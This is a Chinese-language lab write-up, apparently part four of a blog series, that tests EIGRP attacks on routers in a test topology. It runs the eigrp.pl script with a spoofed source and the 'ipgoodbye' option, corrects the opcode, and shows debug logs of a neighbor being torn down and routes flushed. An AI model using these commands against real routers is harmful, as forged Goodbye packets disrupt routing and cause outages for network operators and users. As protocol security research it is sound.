Eigrp恶意插入路由和致瘫***测试（四）
 

五、***eigrp方式二

1、现在我们来尝试这个脚本的第二个参数，ipgoodbye；
./eigrp.pl --ipgoodbye 192.168.1.251 --source 192.168.1.249
嗯？路由器没反应？
这个脚本发出的包貌似有问题；我们来看看：
 
2、原来是opcaode的值不对，我们来修改下opcode的值。 （水煮豆豆注：opcode意为Operation code indicating the message type: 1 Update. 2 Reserved. 3 Query. 4 Hello. 5 IPX-SAP，这里不知道为什么和现实中得到的不一致，网上很多人抓eigrp包时，opcode为5也是hello的包）
./eigrp.pl --ipgoodbye 192.168.1.251 --source 192.168.1.249 --opcode=5
成功了，又开始重新收敛了，赶紧看看数据：
很好，没有出现unknown。 注意哦，现在脚本发出来的包符合组播的地址了，不再是单播指向251的哦！这里看看里面有什么：
和正常的hello包相比，仅仅是屁股后面多了一截，然后IOS的版本不一致（这里有点奇怪，我在配置文件里已经改成12.4，且在***方法一里测试发出的包也是12.4的，这里却怎么都是12.3，看来这里发出的数据并没有读取配置文件中的值）；看看两个路由器都反应了什么信息：
R0
Feb  1 08:10:28.298: EIGRP: Received Goodbye TLV from 192.168.1.249
Feb  1 08:10:28.298:        192.168.1.251
Feb  1 08:10:28.302:        address matched
Feb  1 08:10:28.302: %DUAL-5-NBRCHANGE: IP-EIGRP(0) 1: Neighbor 192.168.1.249 (FastEthernet0/0) is down: Peer goodbye received
Feb  1 08:10:28.306: DUAL: linkdown: start - 192.168.1.249 via FastEthernet0/0
Feb  1 08:10:28.314: DUAL: Destination 192.168.0.0/16
Feb  1 08:10:28.318: DUAL: Destination 172.16.0.0/16
Feb  1 08:10:28.322: DUAL: Find FS for dest 172.16.0.0/16. FD is 307200, RD is 307200
Feb  1 08:10:28.322: DUAL:      192.168.1.249 metric 4294967295/4294967295 not found Dmin is 4294967295
Feb  1 08:10:28.326: DUAL: Peer total 0 stub 0 template 0
Feb  1 08:10:28.330: DUAL: Dest 172.16.0.0/16 (No peers) not entering active state.
Feb  1 08:10:28.334: DUAL: Removing dest 172.16.0.0/16, nexthop 192.168.1.249, infosource 192.168.1.249
Feb  1 08:10:28.338: DUAL: No routes.  Flushing dest 172.16.0.0/16
Feb  1 08:10:28.338: DUAL: linkdown: finish
（R0收到了Goodbye包，并识别同时配合关闭路由选择）
 
R1
Feb  1 08:10:28.264: IP: s=192.168.1.249 (FastEthernet0/0), d=224.0.0.10, len 69, rcvd 2
Feb  1 08:10:28.272: EIGRP: Received HELLO . FastEthernet0/0 nbr 192.168.1.249
Feb  1 08:10:28.276:   AS 1, Flags 0x0, Seq 0/0 idbQ 0/0
 Feb  1 08:10:28.276: EIGRP: Packet from ourselves ignored
（R1也收到了Goodbye包，忽略）
……
Feb  1 08:10:32.907: IP: tableid=0, s=192.168.1.251 (FastEthernet0/0), d=192.168.1.249 (FastEthernet0/0), routed via RIB
Feb  1 08:10:32.907: IP: s=192.168.1.251 (FastEthernet0/0), d=192.168.1.249 (FastEthernet0/0), len 40, rcvd 3
Feb  1 08:10:32.915: IP: s=192.168.1.251 (FastEthernet0/0), d=224.0.0.10, len 60, rcvd 2
Feb  1 08:10:32.915: IP: s=192.168.1.251 (FastEthernet0/0), d=224.0.0.10, len 77, rcvd 2
Feb  1 08:10:32.919: IP: s=192.168.1.251 (FastEthernet0/0), d=224.0.0.10, len 40, rcvd 2
Feb  1 08:10:32.931: EIGRP: Received UPDATE . FastEthernet0/0 nbr 192.168.1.251
Feb  1 08:10:32.935:   AS 1, Flags 0x1, Seq 45/0 idbQ 0/0 iidbQ un/rely 0/0 peerQ un/rely 0/0
Feb  1 08:10:32.939: %DUAL-5-NBRCHANGE: IP-EIGRP(0) 1: Neighbor 192.168.1.251 (FastEthernet0/0) is down: peer restarted
Feb  1 08:10:32.943: DUAL: linkdown: start - 192.168.1.251 via FastEthernet0/0
Feb  1 08:10:32.951: DUAL: Destination 192.168.0.0/16
Feb  1 08:10:32.951: DUAL: Destination 172.16.0.0/16
Feb  1 08:10:32.951: DUAL: Destination 172.16.0.0/24
Feb  1 08:10:32.955: DUAL: linkdown: finish
（R1收到R0的更新，得知已经关闭路由选择，因此自己也关闭了）
 
3、推论。 这个脚本的ipgoodbye参数确实让R0以为收到了goodbye信息，从而引发了路由收敛，但是我们很明显的看到，和方法一的报错不一样，前面是因为地址的动态变化，而这次是因为收到了确定的goodbye信息，问题在于这个goodbye包并不是权值255的包，一样做了有效的处理。
为了验证这一点，我们需要进一步修改实验拓扑，测试如何在不使用脚本的情况下触发更新。